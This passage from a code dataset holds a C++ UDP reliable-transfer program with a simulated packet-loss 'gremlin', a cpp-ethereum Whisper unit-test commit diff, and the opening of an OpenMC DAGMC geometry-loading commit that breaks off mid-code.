messages from a client. *\/\n cout << \"Waiting on port \" << PORT << \"...\" << endl;\n\n ofstream file(\"Dumpfile\");\n\n for (;;) {\n unsigned char packet[PAKSIZE + 1];\n unsigned char dataPull[PAKSIZE - 7 + 1];\n rlen = recvfrom(s, packet, PAKSIZE, 0, (struct sockaddr *)&ca, &calen);\n\n for(int x = 0; x < PAKSIZE - 7; x++) {\n dataPull[x] = packet[x + 7];\n }\n dataPull[PAKSIZE - 7] = '\\0';\n packet[PAKSIZE] = '\\0';\n if (rlen > 0) {\n char * css = new char[6];\n memcpy(css, &packet[1], 5);\n css[5] = '\\0';\n cout << endl << endl << \"=== RECEIPT\" << endl;\n cout << \"Seq. num: \" << packet[0] << endl;\n cout << \"Checksum: \" << css << endl;\n cout << \"Received message: \" << dataPull << endl;\n cout << \"Sent response: \";\n if(isvpack(packet)) {\n ack = ACK;\n \/\/seqNum = (seqNum) ? false : true;\n file << dataPull;\n } else { \n ack = NAK;\n }\n cout << ((ack == ACK) ? \"ACK\" : \"NAK\") << endl;\n Packet p (false, reinterpret_cast<const char *>(dataPull));\n p.setCheckSum(boost::lexical_cast<int>(css));\n p.setAckNack(ack);\n\n if(sendto(s, p.str(), PAKSIZE, 0, (struct sockaddr *)&ca, calen) < 0) {\n cout << \"Acknowledgement failed. (socket s, acknowledgement message ack, client address ca, client address length calen)\" << endl;\n return 0;\n }\n delete css;\n }\n }\n file.close();\n return true;\n}\n\nbool loadFile() {\n\n ifstream is (FILENAME, ifstream::binary);\n\n if(is) {\n is.seekg(0, is.end);\n length = is.tellg();\n is.seekg(0, is.beg);\n\n file = new char[length];\n\n cout << \"Reading \" << length << \" characters...\" << endl;\n is.read(file, length);\n\n if(!is) { cout << \"File reading failed. (filename \" << FILENAME << \"). Only \" << is.gcount() << \" could be read.\"; return false; }\n is.close();\n }\n return true;\n}\n\nvoid loadWindow(){\n\tfor(int i = base; i < base + WIN_SIZE; i++) {\n\t\twindow[i-base] = createPacket(i);\n\t\tif(strlen(window[i-base].getDataBuffer()) < BUFSIZE) { \n\t\t\tbreak;\n\t\t}\n\t}\n}\n\nbool sendFile() {\n\t\/*Currently causes the program to only send the first 16 packets of file out\n\t\trequires additional code later to sendFile again with updated window*\/\n\tbase = 0;\n\twhile(base * BUFSIZE < length) {\n\t\tloadWindow();\n\n\t\tfor(int x = 0; x < WIN_SIZE; x++) {\n\t\t\tp = window[x];\n\t\t\tif(!sendPacket()) continue;\n\t\t}\n\t\tfor(int x = 0; x < WIN_SIZE; x++) {\n\t\t\tif(recvfrom(s, b, BUFSIZE + 7, 0, (struct sockaddr *)&ca, &calen) < 0) {\n\t\t\t\tcout << \"=== ACK TIMEOUT\" << endl;\n\t\t\t\tx--;\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tif(isAck()) { \n\t\t\t\thandleAck();\n\t\t\t} else { \n\t\t\t\thandleAck();\n\t\t\t\t\/\/handleNak(x);\n\t\t\t}\n\n\t\t\tmemset(b, 0, BUFSIZE);\n\t\t}\n\t}\n\treturn true;\n}\n\nPacket createPacket(int index){\n cout << endl;\n\tcout << \"=== PACKET CREATION TESTING\" << endl;\n\tcout << \"index: \" << index << endl;\n\tcout << \"BUFSIZE: \" << BUFSIZE << endl;\n\tcout << \"file index (index * BUFSIZE): \" << index * BUFSIZE << endl;\n\tcout << \"file length: \" << length << endl;\n\n string mstr = fstr.substr(index * BUFSIZE, BUFSIZE);\n\tif(mstr.length() < BUFSIZE) {\n mstr[length - (index * BUFSIZE)] = '\\0';\n }\n return Packet (index, mstr.c_str());\n}\n\nbool sendPacket(){\n\tcout << endl;\n cout << \"=== TRANSMISSION START\" << endl;\n int pc = probCorrupt; int pl = probLoss; int pd = probDelay;\n\tbool* pckStatus = gremlin(&p, pc, pl, pd);\n\n\tdropPck = pckStatus[0];\n\tdelayPck = pckStatus[1];\n\n\tif (dropPck == true) return false;\n\tif (delayPck == true) p.setAckNack(1);\n\n if(sendto(s, p.str(), BUFSIZE + 7, 0, (struct sockaddr *)&ca, sizeof(ca)) < 0) {\n\t\tcout << \"Package sending failed. (socket s, server address sa, message m)\" << endl;\n\t\treturn false;\n }\n return true;\n}\nbool isAck() {\n cout << endl << \"=== SERVER RESPONSE TEST\" << endl;\n cout << \"Data: \" << b << endl;\n if(b[6] == '0') return true;\n else return false;\n}\nvoid handleAck() {\n\tint ack = boost::lexical_cast<int>(b);\n\tif(base < ack) base = ack;\n\tcout << \"Window base: \" << base << endl;\n}\nvoid handleNak(int& x) {\n\n char * sns = new char[2];\n memcpy(sns, &b[0], 1);\n sns[1] = '\\0';\n\n char * css = new char[5];\n memcpy(css, &b[1], 5);\n \n char * db = new char[BUFSIZE + 1];\n memcpy(db, &b[2], BUFSIZE);\n db[BUFSIZE] = '\\0';\n\n cout << \"Sequence number: \" << sns << endl;\n cout << \"Checksum: \" << css << endl;\n\n Packet pk (0, db);\n pk.setSequenceNum(boost::lexical_cast<int>(sns));\n pk.setCheckSum(boost::lexical_cast<int>(css));\n\n if(!pk.chksm()) x--; \n else x = (x - 2 > 0) ? x - 2 : 0;\n}\nbool* gremlin(Packet * pack, int corruptProb, int lossProb, int delayProb){\n\n bool* packStatus = new bool[2];\n int r = rand() % 100;\n\n cout << \"Corruption probability: \" << corruptProb << endl;\n cout << \"Random number: \" << r << endl;\n\n packStatus[0] = false;\n packStatus[1] = false;\n\n if(r <= (lossProb)){\n\tpackStatus[0] = true;\n cout << \"Dropped!\" << endl;\n }\n else if(r <= (delayProb)){\n\t packStatus[1] = true;\n\t cout << \"Delayed!\" << endl;\n }\n else if(r <= (corruptProb)){\n cout << \"Corrupted!\" << endl;\n pack->loadDataBuffer((char*)\"GREMLIN LOL\");\n }\n cout << \"Seq. num: \" << pack->getSequenceNum() << endl;\n cout << \"Checksum: \" << pack->getCheckSum() << endl;\n cout << \"Message: \" << pack->getDataBuffer() << endl;\n\n return packStatus;\n}<|endoftext|>"} {"text":"<commit_before>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file whisperTopic.cpp\n * @author Gav Wood <i@gavwood.com>\n * @date 2014\n *\/\n#include <functional>\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <libp2p\/Host.h>\n#include <libwhisper\/WhisperPeer.h>\n#include <libwhisper\/WhisperHost.h>\nusing namespace std;\nusing namespace dev;\nusing namespace dev::p2p;\nusing namespace dev::shh;\n\nBOOST_AUTO_TEST_SUITE(whisper)\n\nBOOST_AUTO_TEST_CASE(topic)\n{\n\tcnote << \"Testing Whisper...\";\n\tauto oldLogVerbosity = g_logVerbosity;\n\tg_logVerbosity = 0;\n\n\tHost host1(\"Test\", NetworkPreferences(\"127.0.0.1\", 30303, false));\n\thost1.setIdealPeerCount(1);\n\tauto whost1 = host1.registerCapability(new WhisperHost());\n\thost1.start();\n\n\tbool host1Ready = false;\n\tunsigned result = 0;\n\tstd::thread listener([&]()\n\t{\n\t\tsetThreadName(\"other\");\n\t\t\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = whost1->installWatch(BuildTopicMask(\"odd\"));\n\t\thost1Ready = true;\n\t\tset<unsigned> received;\n\t\tfor (int iterout = 0, last = 0; iterout < 200 && last < 81; ++iterout)\n\t\t{\n\t\t\tfor (auto i: whost1->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = whost1->envelope(i).open(whost1->fullTopic(w));\n\t\t\t\tlast = RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tif (received.count(last))\n\t\t\t\t\tcontinue;\n\t\t\t\treceived.insert(last);\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tresult += last;\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\n\t});\n\n\tHost host2(\"Test\", NetworkPreferences(\"127.0.0.1\", 30300, false));\n\thost1.setIdealPeerCount(1);\n\tauto whost2 = host2.registerCapability(new WhisperHost());\n\thost2.start();\n\t\n\twhile (!host1.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(5));\n\thost2.addNode(host1.id(), bi::address::from_string(\"127.0.0.1\"), 30303, 30303);\n\n\t\/\/ wait for nodes to connect\n\tthis_thread::sleep_for(chrono::milliseconds(1000));\n\t\n\twhile (!host1Ready)\n\t\tthis_thread::sleep_for(chrono::milliseconds(10));\n\t\n\tKeyPair us = KeyPair::create();\n\tfor (int i = 0; i < 10; ++i)\n\t{\n\t\twhost2->post(us.sec(), RLPStream().append(i * i).out(), BuildTopic(i)(i % 2 ? \"odd\" : \"even\"));\n\t\tthis_thread::sleep_for(chrono::milliseconds(250));\n\t}\n\n\tlistener.join();\n\tg_logVerbosity = oldLogVerbosity;\n\n\tBOOST_REQUIRE_EQUAL(result, 1 + 9 + 25 + 49 + 81);\n}\n\nBOOST_AUTO_TEST_CASE(forwarding)\n{\n\tcnote << \"Testing Whisper forwarding...\";\n\tauto oldLogVerbosity = g_logVerbosity;\n\tg_logVerbosity = 0;\n\n\t\/\/ Host must be configured not to share peers.\n\tHost host1(\"Listner\", NetworkPreferences(\"127.0.0.1\", 30303, false));\n\thost1.setIdealPeerCount(0);\n\tauto whost1 = host1.registerCapability(new WhisperHost());\n\thost1.start();\n\twhile (!host1.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\n\tunsigned result = 0;\n\tbool done = false;\n\n\tbool startedListener = false;\n\tstd::thread listener([&]()\n\t{\n\t\tsetThreadName(\"listener\");\n\n\t\tstartedListener = true;\n\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = whost1->installWatch(BuildTopicMask(\"test\"));\n\n\t\tfor (int i = 0; i < 200 && !result; ++i)\n\t\t{\n\t\t\tfor (auto i: whost1->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = whost1->envelope(i).open(whost1->fullTopic(w));\n\t\t\t\tunsigned last = RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tresult = last;\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\t});\n\n\n\t\/\/ Host must be configured not to share peers.\n\tHost host2(\"Forwarder\", NetworkPreferences(\"127.0.0.1\", 30305, false));\n\thost2.setIdealPeerCount(1);\n\tauto whost2 = host2.registerCapability(new WhisperHost());\n\thost2.start();\n\twhile (!host2.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\n\tPublic fwderid;\n\tbool startedForwarder = false;\n\tstd::thread forwarder([&]()\n\t{\n\t\tsetThreadName(\"forwarder\");\n\n\t\twhile (!startedListener)\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\n\t\tthis_thread::sleep_for(chrono::milliseconds(500));\n\t\thost2.addNode(host1.id(), bi::address::from_string(\"127.0.0.1\"), 30303, 30303);\n\n\t\tstartedForwarder = true;\n\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = whost2->installWatch(BuildTopicMask(\"test\"));\n\n\t\twhile (!done)\n\t\t{\n\t\t\tfor (auto i: whost2->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = whost2->envelope(i).open(whost2->fullTopic(w));\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\t});\n\n\twhile (!startedForwarder)\n\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\n\tHost ph(\"Sender\", NetworkPreferences(\"127.0.0.1\", 30300, false));\n\tph.setIdealPeerCount(1);\n\tshared_ptr<WhisperHost> wh = ph.registerCapability(new WhisperHost());\n\tph.start();\n\tph.addNode(host2.id(), bi::address::from_string(\"127.0.0.1\"), 30305, 30305);\n\twhile (!ph.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(10));\n\n\tKeyPair us = KeyPair::create();\n\twh->post(us.sec(), RLPStream().append(1).out(), BuildTopic(\"test\"));\n\tthis_thread::sleep_for(chrono::milliseconds(250));\n\n\tlistener.join();\n\tdone = true;\n\tforwarder.join();\n\tg_logVerbosity = oldLogVerbosity;\n\n\tBOOST_REQUIRE_EQUAL(result, 1);\n}\n\nBOOST_AUTO_TEST_CASE(asyncforwarding)\n{\n\tcnote << \"Testing Whisper async forwarding...\";\n\tauto oldLogVerbosity = g_logVerbosity;\n\tg_logVerbosity = 2;\n\n\tunsigned result = 0;\n\tbool done = false;\n\n\t\/\/ Host must be configured not to share peers.\n\tHost host1(\"Forwarder\", NetworkPreferences(\"127.0.0.1\", 30305, false));\n\thost1.setIdealPeerCount(1);\n\tauto whost1 = host1.registerCapability(new WhisperHost());\n\thost1.start();\n\twhile (!host1.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\n\tbool startedForwarder = false;\n\tstd::thread forwarder([&]()\n\t{\n\t\tsetThreadName(\"forwarder\");\n\n\t\tthis_thread::sleep_for(chrono::milliseconds(500));\n\/\/\t\tph.addNode(\"127.0.0.1\", 30303, 30303);\n\n\t\tstartedForwarder = true;\n\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = whost1->installWatch(BuildTopicMask(\"test\"));\n\n\t\twhile (!done)\n\t\t{\n\t\t\tfor (auto i: whost1->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = whost1->envelope(i).open(whost1->fullTopic(w));\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\t});\n\n\twhile (!startedForwarder)\n\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\n\t{\n\t\tHost host2(\"Sender\", NetworkPreferences(\"127.0.0.1\", 30300, false));\n\t\thost2.setIdealPeerCount(1);\n\t\tshared_ptr<WhisperHost> whost2 = host2.registerCapability(new WhisperHost());\n\t\thost2.start();\n\t\twhile (!host2.haveNetwork())\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\t\thost2.addNode(host1.id(), bi::address::from_string(\"127.0.0.1\"), 30305, 30305);\n\n\t\twhile (!host2.peerCount())\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(5));\n\n\t\tKeyPair us = KeyPair::create();\n\t\twhost2->post(us.sec(), RLPStream().append(1).out(), BuildTopic(\"test\"));\n\t\tthis_thread::sleep_for(chrono::milliseconds(250));\n\t}\n\n\t{\n\t\tHost ph(\"Listener\", NetworkPreferences(\"127.0.0.1\", 30300, false));\n\t\tph.setIdealPeerCount(1);\n\t\tshared_ptr<WhisperHost> wh = ph.registerCapability(new WhisperHost());\n\t\tph.start();\n\t\twhile (!ph.haveNetwork())\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\t\tph.addNode(host1.id(), bi::address::from_string(\"127.0.0.1\"), 30305, 30305);\n\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = wh->installWatch(BuildTopicMask(\"test\"));\n\n\t\tfor (int i = 0; i < 200 && !result; ++i)\n\t\t{\n\t\t\tfor (auto i: wh->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = wh->envelope(i).open(wh->fullTopic(w));\n\t\t\t\tunsigned last = RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tresult = last;\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\t}\n\n\tdone = true;\n\tforwarder.join();\n\tg_logVerbosity = oldLogVerbosity;\n\n\tBOOST_REQUIRE_EQUAL(result, 1);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<commit_msg>update whisper test to use fixture for new network code, to allow private addresses and encapsulate host\/port information in NodeIPEndpoint.<commit_after>\/*\n\tThis file is part of cpp-ethereum.\n\n\tcpp-ethereum is free software: you can redistribute it and\/or modify\n\tit under the terms of the GNU General Public License as published by\n\tthe Free Software Foundation, either version 3 of the License, or\n\t(at your option) any later version.\n\n\tcpp-ethereum is distributed in the hope that it will be useful,\n\tbut WITHOUT ANY WARRANTY; without even the implied warranty of\n\tMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n\tGNU General Public License for more details.\n\n\tYou should have received a copy of the GNU General Public License\n\talong with cpp-ethereum. If not, see <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\/** @file whisperTopic.cpp\n * @author Gav Wood <i@gavwood.com>\n * @date 2014\n *\/\n#include <functional>\n\n#include <boost\/test\/unit_test.hpp>\n\n#include <libp2p\/Host.h>\n#include <libwhisper\/WhisperPeer.h>\n#include <libwhisper\/WhisperHost.h>\nusing namespace std;\nusing namespace dev;\nusing namespace dev::p2p;\nusing namespace dev::shh;\n\nstruct P2PFixture\n{\n\tP2PFixture() { dev::p2p::NodeIPEndpoint::test_allowLocal = true; }\n\t~P2PFixture() { dev::p2p::NodeIPEndpoint::test_allowLocal = false; }\n};\n\nBOOST_FIXTURE_TEST_SUITE(whisper, P2PFixture)\n\nBOOST_AUTO_TEST_CASE(topic)\n{\n\tcnote << \"Testing Whisper...\";\n\tauto oldLogVerbosity = g_logVerbosity;\n\tg_logVerbosity = 0;\n\n\tHost host1(\"Test\", NetworkPreferences(\"127.0.0.1\", 30303, false));\n\thost1.setIdealPeerCount(1);\n\tauto whost1 = host1.registerCapability(new WhisperHost());\n\thost1.start();\n\n\tbool host1Ready = false;\n\tunsigned result = 0;\n\tstd::thread listener([&]()\n\t{\n\t\tsetThreadName(\"other\");\n\t\t\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = whost1->installWatch(BuildTopicMask(\"odd\"));\n\t\thost1Ready = true;\n\t\tset<unsigned> received;\n\t\tfor (int iterout = 0, last = 0; iterout < 200 && last < 81; ++iterout)\n\t\t{\n\t\t\tfor (auto i: whost1->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = whost1->envelope(i).open(whost1->fullTopic(w));\n\t\t\t\tlast = RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tif (received.count(last))\n\t\t\t\t\tcontinue;\n\t\t\t\treceived.insert(last);\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tresult += last;\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\n\t});\n\n\tHost host2(\"Test\", NetworkPreferences(\"127.0.0.1\", 30300, false));\n\thost1.setIdealPeerCount(1);\n\tauto whost2 = host2.registerCapability(new WhisperHost());\n\thost2.start();\n\t\n\twhile (!host1.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(5));\n\thost2.addNode(host1.id(), NodeIPEndpoint(bi::address::from_string(\"127.0.0.1\"), 30303, 30303));\n\n\t\/\/ wait for nodes to connect\n\tthis_thread::sleep_for(chrono::milliseconds(1000));\n\t\n\twhile (!host1Ready)\n\t\tthis_thread::sleep_for(chrono::milliseconds(10));\n\t\n\tKeyPair us = KeyPair::create();\n\tfor (int i = 0; i < 10; ++i)\n\t{\n\t\twhost2->post(us.sec(), RLPStream().append(i * i).out(), BuildTopic(i)(i % 2 ? \"odd\" : \"even\"));\n\t\tthis_thread::sleep_for(chrono::milliseconds(250));\n\t}\n\n\tlistener.join();\n\tg_logVerbosity = oldLogVerbosity;\n\n\tBOOST_REQUIRE_EQUAL(result, 1 + 9 + 25 + 49 + 81);\n}\n\nBOOST_AUTO_TEST_CASE(forwarding)\n{\n\tcnote << \"Testing Whisper forwarding...\";\n\tauto oldLogVerbosity = g_logVerbosity;\n\tg_logVerbosity = 0;\n\n\t\/\/ Host must be configured not to share peers.\n\tHost host1(\"Listner\", NetworkPreferences(\"127.0.0.1\", 30303, false));\n\thost1.setIdealPeerCount(0);\n\tauto whost1 = host1.registerCapability(new WhisperHost());\n\thost1.start();\n\twhile (!host1.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\n\tunsigned result = 0;\n\tbool done = false;\n\n\tbool startedListener = false;\n\tstd::thread listener([&]()\n\t{\n\t\tsetThreadName(\"listener\");\n\n\t\tstartedListener = true;\n\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = whost1->installWatch(BuildTopicMask(\"test\"));\n\n\t\tfor (int i = 0; i < 200 && !result; ++i)\n\t\t{\n\t\t\tfor (auto i: whost1->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = whost1->envelope(i).open(whost1->fullTopic(w));\n\t\t\t\tunsigned last = RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tresult = last;\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\t});\n\n\n\t\/\/ Host must be configured not to share peers.\n\tHost host2(\"Forwarder\", NetworkPreferences(\"127.0.0.1\", 30305, false));\n\thost2.setIdealPeerCount(1);\n\tauto whost2 = host2.registerCapability(new WhisperHost());\n\thost2.start();\n\twhile (!host2.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\n\tPublic fwderid;\n\tbool startedForwarder = false;\n\tstd::thread forwarder([&]()\n\t{\n\t\tsetThreadName(\"forwarder\");\n\n\t\twhile (!startedListener)\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\n\t\tthis_thread::sleep_for(chrono::milliseconds(500));\n\t\thost2.addNode(host1.id(), NodeIPEndpoint(bi::address::from_string(\"127.0.0.1\"), 30303, 30303));\n\n\t\tstartedForwarder = true;\n\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = whost2->installWatch(BuildTopicMask(\"test\"));\n\n\t\twhile (!done)\n\t\t{\n\t\t\tfor (auto i: whost2->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = whost2->envelope(i).open(whost2->fullTopic(w));\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\t});\n\n\twhile (!startedForwarder)\n\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\n\tHost ph(\"Sender\", NetworkPreferences(\"127.0.0.1\", 30300, false));\n\tph.setIdealPeerCount(1);\n\tshared_ptr<WhisperHost> wh = ph.registerCapability(new WhisperHost());\n\tph.start();\n\tph.addNode(host2.id(), NodeIPEndpoint(bi::address::from_string(\"127.0.0.1\"), 30305, 30305));\n\twhile (!ph.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(10));\n\n\tKeyPair us = KeyPair::create();\n\twh->post(us.sec(), RLPStream().append(1).out(), BuildTopic(\"test\"));\n\tthis_thread::sleep_for(chrono::milliseconds(250));\n\n\tlistener.join();\n\tdone = true;\n\tforwarder.join();\n\tg_logVerbosity = oldLogVerbosity;\n\n\tBOOST_REQUIRE_EQUAL(result, 1);\n}\n\nBOOST_AUTO_TEST_CASE(asyncforwarding)\n{\n\tcnote << \"Testing Whisper async forwarding...\";\n\tauto oldLogVerbosity = g_logVerbosity;\n\tg_logVerbosity = 2;\n\n\tunsigned result = 0;\n\tbool done = false;\n\n\t\/\/ Host must be configured not to share peers.\n\tHost host1(\"Forwarder\", NetworkPreferences(\"127.0.0.1\", 30305, false));\n\thost1.setIdealPeerCount(1);\n\tauto whost1 = host1.registerCapability(new WhisperHost());\n\thost1.start();\n\twhile (!host1.haveNetwork())\n\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\n\tbool startedForwarder = false;\n\tstd::thread forwarder([&]()\n\t{\n\t\tsetThreadName(\"forwarder\");\n\n\t\tthis_thread::sleep_for(chrono::milliseconds(500));\n\n\t\tstartedForwarder = true;\n\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = whost1->installWatch(BuildTopicMask(\"test\"));\n\n\t\twhile (!done)\n\t\t{\n\t\t\tfor (auto i: whost1->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = whost1->envelope(i).open(whost1->fullTopic(w));\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\t});\n\n\twhile (!startedForwarder)\n\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\n\t{\n\t\tHost host2(\"Sender\", NetworkPreferences(\"127.0.0.1\", 30300, false));\n\t\thost2.setIdealPeerCount(1);\n\t\tshared_ptr<WhisperHost> whost2 = host2.registerCapability(new WhisperHost());\n\t\thost2.start();\n\t\twhile (!host2.haveNetwork())\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\t\thost2.addNode(host1.id(), NodeIPEndpoint(bi::address::from_string(\"127.0.0.1\"), 30305, 30305));\n\n\t\twhile (!host2.peerCount())\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(5));\n\n\t\tKeyPair us = KeyPair::create();\n\t\twhost2->post(us.sec(), RLPStream().append(1).out(), BuildTopic(\"test\"));\n\t\tthis_thread::sleep_for(chrono::milliseconds(250));\n\t}\n\n\t{\n\t\tHost ph(\"Listener\", NetworkPreferences(\"127.0.0.1\", 30300, false));\n\t\tph.setIdealPeerCount(1);\n\t\tshared_ptr<WhisperHost> wh = ph.registerCapability(new WhisperHost());\n\t\tph.start();\n\t\twhile (!ph.haveNetwork())\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(2));\n\t\tph.addNode(host1.id(), NodeIPEndpoint(bi::address::from_string(\"127.0.0.1\"), 30305, 30305));\n\n\t\t\/\/\/ Only interested in odd packets\n\t\tauto w = wh->installWatch(BuildTopicMask(\"test\"));\n\n\t\tfor (int i = 0; i < 200 && !result; ++i)\n\t\t{\n\t\t\tfor (auto i: wh->checkWatch(w))\n\t\t\t{\n\t\t\t\tMessage msg = wh->envelope(i).open(wh->fullTopic(w));\n\t\t\t\tunsigned last = RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tcnote << \"New message from:\" << msg.from() << RLP(msg.payload()).toInt<unsigned>();\n\t\t\t\tresult = last;\n\t\t\t}\n\t\t\tthis_thread::sleep_for(chrono::milliseconds(50));\n\t\t}\n\t}\n\n\tdone = true;\n\tforwarder.join();\n\tg_logVerbosity = oldLogVerbosity;\n\n\tBOOST_REQUIRE_EQUAL(result, 1);\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"} {"text":"<commit_before>\n#ifdef CAD\n\n#include \"cad.h\"\n\nmoab::DagMC* DAGMC;\n\nvoid load_cad_geometry_c()\n{\n if(!DAGMC) {\n DAGMC = new moab::DagMC();\n }\n\n moab::ErrorCode rval = DAGMC->load_file(\"dagmc.h5m\");\n MB_CHK_ERR_CONT(rval);\n\n rval = DAGMC->init_OBBTree();\n MB_CHK_ERR_CONT(rval);\n\n int32_t cad_univ_id = 0; \/\/ universe is always 0 for CAD\n \n \/\/ initialize cell objects\n openmc::n_cells = DAGMC->num_entities(3);\n for(int i = 0; i < openmc::n_cells; i++)\n {\n \/\/ set cell ids using global IDs\n openmc::CADCell* c = new openmc::CADCell();\n c->id_ = DAGMC->id_by_index(3, i+1);\n c->dagmc_ptr = DAGMC;\n c->universe_ = cad_univ_id; \/\/ set to zero for now\n c->material_.push_back(40); \/\/ TEMPORARY\n openmc::global_cells.push_back(c);\n openmc::cell_map[c->id_] = c->id;\n\n \/\/ Populate the Universe vector and dict\n auto it = openmc::universe_map.find(cad_univ_id);\n if (it == openmc::universe_map.end()) {\n\topenmc::global_universes.push_back(new openmc::Universe());\n\topenmc::global_universes.back()-> id = cad_univ_id;\n\topenmc::global_universes.back()->cells.push_back(i);\n\topenmc::universe_map[cad_univ_id] = openmc::global_universes.size() - 1;\n }\n else {\n\topenmc::global_universes[it->second]->cells.push_back(i);\n }\n }\n\n \/\/ initialize surface objects\n openmc::n_surfaces = DAGMC->num_entities(2);\n openmc::surfaces_c = new openmc::Surface*[openmc::n_surfaces];\n \n for(int i = 0; i < openmc::n_surfaces; i++)\n {\n \/\/ set cell ids using global IDs\n openmc::CADSurface* s = new openmc::CADSurface();\n s->id = DAGMC->id_by_index(2, i+1);\n s->dagmc_ptr = DAGMC;\n s->bc = openmc::BC_TRANSMIT;\n openmc::surfaces_c[i] = s;\n openmc::surface_map[s->id] = s->id;\n }\n\n return;\n}\n\nvoid free_memory_cad_c()\n{\n delete DAGMC;\n}\n\n#endif\n<commit_msg>Set material by property.<commit_after>\n#ifdef CAD\n\n#include \"cad.h\"\n\nmoab::DagMC* DAGMC;\n\nvoid load_cad_geometry_c()\n{\n if(!DAGMC) {\n DAGMC = new moab::DagMC();\n }\n\n int32_t cad_univ_id = 0; \/\/ universe is always 0 for CAD\n \n moab::ErrorCode rval = DAGMC->load_file(\"dagmc.h5m\");\n MB_CHK_ERR_CONT(rval);\n\n rval = DAGMC->init_OBBTree();\n MB_CHK_ERR_CONT(rval);\n\n std::vector< std::string > prop_keywords;\n 